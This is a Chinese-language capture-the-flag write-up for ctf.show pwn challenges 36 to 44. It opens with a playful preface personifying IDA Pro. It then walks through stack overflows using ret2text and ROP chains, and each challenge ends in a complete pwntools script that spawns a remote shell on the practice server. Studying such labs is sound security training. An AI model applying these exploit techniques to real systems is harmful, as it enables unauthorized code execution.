前言
I know a girl who is really beautiful. Every time I encounter a difficult problem, I will turn to her for advice. She always gives me the answers I need. Although I have to analyze them on my own, she still helps me solve my problems. I truly love her, and she is very patient when assisting me. She has a really lovely name —— IDA PRO.
我认识一个女孩,她长得非常漂亮。每次当我遇到难题的时候,我都会去请教她,她每次都会为我提供我想要的答案虽然这需要我自己分析,但是她仍然会帮我解决我的难题。我真的很爱她,她也很耐心的帮我。她有一个很动听的名字——IDA PRO
PWN36
存在后门函数,如何利用?
到手第一件事不管三七二十一,上来就是file checksec
32位程序,关键保护都没开
将程序丢到女神(IDA)中看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}
Main函数中调用了ctfshow函数,跟进一下
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);
}
gets没有边界检测,只要你想就可以无限制输入内容 直到遇到换行符('\n'
)为止
所以很明显的溢出点
再看看旁边有一个get_flag函数
int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}
打印flag。
思路:通过ctfshow函数溢出到get_flag函数这里就完事
偏移量 0x28+4 ctfshow函数中
get_flag函数地址:0x08048586
写脚本开搂
from pwn import *
r = remote('pwn.challenge.ctf.show',28288)
padding = 0x28+4
get_flag=0x08048586
payload = padding * b'A' + p32(get_flag)
r.sendline(payload)
r.interactive()
PWN37
32位的 system(“/bin/sh”) 后门函数给你
ret2text
ctfshow函数
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
后门函数
int backdoor()
{
system("/bin/sh");
return 0;
}
通过ctfshow上溢出劫持ret跳到backdoor上
偏移量:0x12+4
后门地址:0x8048521
脚本
from pwn import *
r = remote('pwn.challenge.ctf.show',28166)
padding = 0x12+4
get_flag=0x8048521
payload = padding * b'A' + p32(get_flag)
r.sendline(payload)
r.interactive()
PWN38
64位的 system(“/bin/sh”) 后门函数给你
注意这里的64位,需要考虑到堆栈平衡
本关主要是常规的ret2text,唯一一点就是需要跳过push rbp
本关脚本如下:
from pwn import *
r = remote('pwn.challenge.ctf.show',28293)
elf = ELF('./pwn')
padding = 0xA + 8
door = 0x400658
payload = b'a' * padding + p64(door)
r.sendline(payload)
r.interactive()
PWN39
32位的 system(); "/bin/sh"
这里需要用到传参的方式将system和binsh组合在一起
32位传参方式 函数1 函数2 参数1 参数2
system函数地址:0x080483A0
binsh参数地址:0x08048750
脚本如下:
from pwn import *
r = remote('pwn.challenge.ctf.show',28199)
elf = ELF('./pwn')
padding = 0x12+4
payload = b'a' * padding + p32(0x080483A0) + p32(0) +p32(0x08048750)
r.sendline(payload)
r.interactive()
PWN40
64位的 system(); "/bin/sh"
X86传参是直接使用栈来传递参数,而X64则是使用寄存器传递参数,后7个参数使用栈来传递
所以先ROPgadget --binary ./test --only "pop|ret" | grep "rdi" 找到rdi寄存器和 ret
传参顺序为:寄存器 参数 返回地址 函数 乌班图18.04以下的没有返回地址
脚本如下:
from pwn import *
r = remote('pwn.challenge.ctf.show',28151)
elf = ELF('./pwn')
padding = 0xA+8
rdi_add = 0x00000000004007e3
bin_sh = 0x400808
sys_add = 0x400520
ret_add = 0x00000000004004fe
payload = b'a' * padding +p64(rdi_add) +p64(bin_sh) +p64(ret_add)+p64(sys_add)
r.sendline(payload)
r.interactive()
PWN41
32位system,没有binsh怎么搞?
在userful函数中有print(sh) 没有binsh有sh也差不多(具体可以自己敲一下sh看看是不是有shell)
溢出点:ctfshow函数-buf字符串
偏移量:0x12+4
system函数地址:在ida左侧Funcktion name中找到_system 它的Start地址就是
sh字符串地址:找到sh字符串直接双击进入即可发现
注意p32的传参顺序!
p32(函数1)+p32(函数2)+p32(参数1)+p32(参数2)
所以需要一个占位符
脚本如下:
from pwn import *
r=remote('pwn.challenge.ctf.show',28167)
padding = 0x12+4
sys_add = 0x080483D0
sh = 0x080487BA
ad = 123456789 #这里可以不写,直接弄成p32(0)也没问题,只要占住位置就好
payload = b'a' * padding + p32(sys_add) + p32(ad) +p32(sh)
r.sendline(payload)
r.interactive()
PWN42
64位system,没有binsh怎么搞?
照比32多了两个步骤
寻找ret和rdi的地址
ROPgadget --binary pwn --only "pop|ret" Gadgets information ============================================================ 0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400840 : pop r14 ; pop r15 ; ret 0x0000000000400842 : pop r15 ; ret 0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400608 : pop rbp ; ret 0x0000000000400843 : pop rdi ; ret <----- 0x0000000000400841 : pop rsi ; pop r15 ; ret 0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040053e : ret <----- 0x0000000000400542 : ret 0x201a Unique gadgets found: 12
64位传参
p64(寄存器) + p64(参数)+p64(返回ret)+p64(函数)
脚本如下:
from pwn import *
r=remote('pwn.challenge.ctf.show',28278)
padding = 0xA+8
sys_add = 0x400560
sh = 0x400872
rdi_add = 0x0000000000400843
ret_add = 0x000000000040053e
payload = b'a' * padding + p64(rdi_add) +p64(sh) +p64(ret_add) +p64(sys_add)
r.sendline(payload)
r.interactive()
PWN43
有system没有binsh 上面方法也不好使
通过pwndbg调试,vmmap 发现0x804b000 0x804c000这一段空间是有写权限的
system函数地址:08048450
偏移 0x6c+4
通过查找发现在bss段0804B060处有buf2 可以写入
思路:
先溢出将/bin/sh写入到buf2,在将buf2内容与system函数结合就组成了后门函数
from pwn import *
r = remote('pwn.challenge.ctf.show',28306)
padding = 0x6c+4
gets_add = 0x08048420
system_add = 0x08048450
buf2_add = 0x0804B060
payload = b'a'*padding + p32(gets_add) + p32(system_add) + p32(buf2_add) + p32(buf2_add)
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()
PWN44
与上面思路一样,需要注意传参顺序以及寻找寄存器和ret返回
from pwn import *
r=remote('pwn.challenge.ctf.show',28109)
padding = 0xa+8
gets_add = 0x400530
buf2_add = 0x602080
sys_add = 0x400520
rdi_add = 0x00000000004007f3
ret_add = 0x00000000004004fe
payload = b'a' * padding+p64(rdi_add)+p64(buf2_add)+p64(ret_add)+p64(gets_add)+p64(rdi_add)+p64(buf2_add)+p64(ret_add)+ p64(sys_add)
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()
寻找攻击链:ROPgadget --binary pwn